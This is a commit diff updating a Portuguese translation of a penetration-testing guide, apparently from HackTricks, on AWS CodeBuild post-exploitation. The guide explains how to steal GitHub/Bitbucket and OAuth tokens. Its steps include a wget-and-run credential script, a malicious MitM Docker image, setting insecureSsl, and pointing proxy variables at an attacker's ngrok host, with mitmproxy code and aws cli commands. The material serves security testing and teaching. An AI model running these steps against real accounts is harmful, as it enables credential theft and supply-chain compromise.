Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-04-01 12:38:26 +00:00
parent d34832d88e
commit 2daa4d2c9b
@@ -2,39 +2,49 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Recuperar Tokens Configurados do Github/Bitbucket
## Recuperar Tokens configurados no Github/Bitbucket
Primeiro, verifique se há credenciais de origem configuradas que você poderia leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
### Via RCE em um job do CodeBuild
Se você descobrir que a autenticação, por exemplo para o Github, está configurada na conta, você pode **exfiltrate** esse **access** (**GH token or OAuth token**) fazendo o Codebuild **usar uma imagem Docker específica** para executar o build do projeto.
De dentro de um job do CodeBuild, você pode acessar um endpoint não documentado da API do AWS CodeBuild que retornará as credenciais usadas pelo CodeBuild. Isso pode ser usado para obter as credenciais com as quais o job do CodeBuild foi configurado, por exemplo credenciais do AWS CodeConnection, OAUTH ou PAT. O job do CodeBuild não precisa ter privilégios para acessar esse endpoint e também é difícil de detectar em logs e monitoramento, já que o próprio CodeBuild chama esse endpoint várias vezes na inicialização.
Para isso você pode **criar um novo Codebuild project** ou alterar o **environment** de um já existente para definir a **Docker image**.
A técnica é explicada com mais detalhes em [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) , mas em resumo, para obter credenciais dentro do job do CodeBuild você só precisa executar o seguinte:
```
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
```
### Via Imagem Docker
A Docker image que você pode usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker bem básica que irá definir as **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá interceptar a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confiar no SSL CERT indicado em **`SSL_CERT_FILE`**.
Se você descobrir que a autenticação, por exemplo para Github, está configurada na conta, você pode **exfiltrate** esse **acesso** (**GH token or OAuth token**) fazendo com que o Codebuild **use uma imagem Docker específica** para executar o build do projeto.
Para esse propósito você pode **criar um novo projeto Codebuild** ou alterar o **ambiente** de um existente para definir a **imagem Docker**.
A imagem Docker que você pode usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que vai definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá interceptar a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`**, e confiar no certificado SSL indicado em **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Siga as instruções do repo para configurar o IP do seu proxy e definir seu certificado SSL e **build the docker image**.
- **NÃO DEFINA `http_proxy`** para não interceptar requisições para o metadata endpoint.
- Você pode usar **`ngrok`** como `ngrok tcp 4444` para definir o proxy para o seu host
- Depois de construir a Docker image, **upload it to a public repo** (Dockerhub, ECR...)
- Siga as instruções do repo para configurar o endereço IP do seu proxy e definir seu certificado SSL e **construir a imagem Docker**.
- **NÃO DEFINA `http_proxy`** para não interceptar requisições ao metadata endpoint.
- Você pode usar **`ngrok`** como `ngrok tcp 4444` para definir o proxy para seu host
- Uma vez que você tenha a imagem Docker construída, **envie-a para um repositório público** (Dockerhub, ECR...)
2. **Set the environment**
- Crie um **novo Codebuild project** ou **modifique** o environment de um existente.
- Configure o projeto para usar a **imagem Docker gerada anteriormente**
- Crie um **novo projeto Codebuild** ou **modifique** o ambiente de um existente.
- Configure o projeto para usar a **imagem Docker previamente gerada**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
- Como indicado no **Github repo** você pode usar algo como:
- Como indicado no **repositório do Github** você pode usar algo como:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> A **versão do mitmproxy usada foi 9.0.1**, foi relatado que com a versão 10 isso pode não funcionar.
> A **versão do mitmproxy utilizada foi 9.0.1**, foi reportado que com a versão 10 isso pode não funcionar.
4. **Execute o build & capture as credenciais**
@@ -42,7 +52,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Isso também pode ser feito usando o aws cli com algo como
Isto também pode ser feito usando o aws cli com algo como
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
Projetos **Codebuild** têm uma configuração chamada **`insecureSsl`** que é oculta na interface web; você só pode alterá-la pela API.\
**Codebuild** projetos têm uma configuração chamada **`insecureSsl`** que está escondida na interface web\; só é possível alterála pela API.\
Habilitar isso permite que o Codebuild se conecte ao repositório **sem verificar o certificado** oferecido pela plataforma.
- Primeiro você precisa enumerar a configuração atual com algo como:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Em seguida, com as informações coletadas você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo de atualização de um projeto, repare em **`insecureSsl=True`** ao final (esta é a única coisa que você precisa alterar na configuração obtida).
- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para seu ngrok tcp, por exemplo:
- Então, com as informações coletadas você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. A seguir há um exemplo de como atualizei um projeto; note o **`insecureSsl=True`** no final (essa é a única coisa que você precisa alterar na configuração coletada).
- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para o seu tcp ngrok assim:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +125,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Então, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta indicada pelas variáveis de proxy (http_proxy e https_proxy)
- Em seguida, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta indicada pelas variáveis de proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,15 +138,15 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Finalmente, clique em **Build the project**, as **credentials** serão **enviadas em texto claro** (base64) para a porta mitm:
- Finalmente, clique em **Build the project**, as **credenciais** serão **enviadas em texto claro** (base64) para a porta do mitm:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via protocolo HTTP~~
> [!TIP] > **Esta vulnerabilidade foi corrigida pela AWS em algum momento na semana de 20 de fev de 2023 (acho que na sexta-feira). Então um atacante não consegue mais explorá-la :)**
> [!TIP] > **Esta vulnerabilidade foi corrigida pela AWS em algum momento na semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Então um atacante não pode mais explorá-la :)**
Um atacante com **permissões elevadas sobre um CodeBuild poderia leak o Github/Bitbucket token** configurado ou, se as permissões fossem configuradas via OAuth, o **token OAuth temporário usado para acessar o código**.
Um atacante com **permissões elevadas em um CodeBuild poderia leak o Github/Bitbucket token** configurado ou, se as permissões foram configuradas via OAuth, o **token OAuth temporário usado para acessar o código**.
- Um atacante poderia adicionar as variáveis de ambiente **http_proxy** e **https_proxy** ao projeto CodeBuild apontando para sua máquina (por exemplo `http://5.tcp.eu.ngrok.io:14972`).
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Em seguida, clique em **Build the project** ou inicie a build pela linha de comando:
- Em seguida, clique em **Build the project** ou inicie a build a partir da linha de comando:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Por fim, as **credenciais** serão **enviadas em texto claro** (base64) para a porta mitm:
- Finalmente, as **credentials** serão **enviadas em texto claro** (base64) para a porta mitm:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Agora um atacante poderá usar o token a partir de sua máquina, listar todos os privilégios que ele possui e (ab)usar mais facilmente do que utilizando o serviço CodeBuild diretamente.
> Agora um atacante poderá usar o token a partir da sua máquina, listar todos os privilégios que ele possui e (ab)usar mais facilmente do que utilizar o serviço CodeBuild diretamente.
## Execução de PR não confiável via misconfiguração do filtro de webhook
## Execução de PR não confiável via misconfiguração do filtro do webhook
Para a cadeia de bypass de webhook acionada por PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consulte:
Para a cadeia de bypass do webhook acionada por PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), verifique:
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md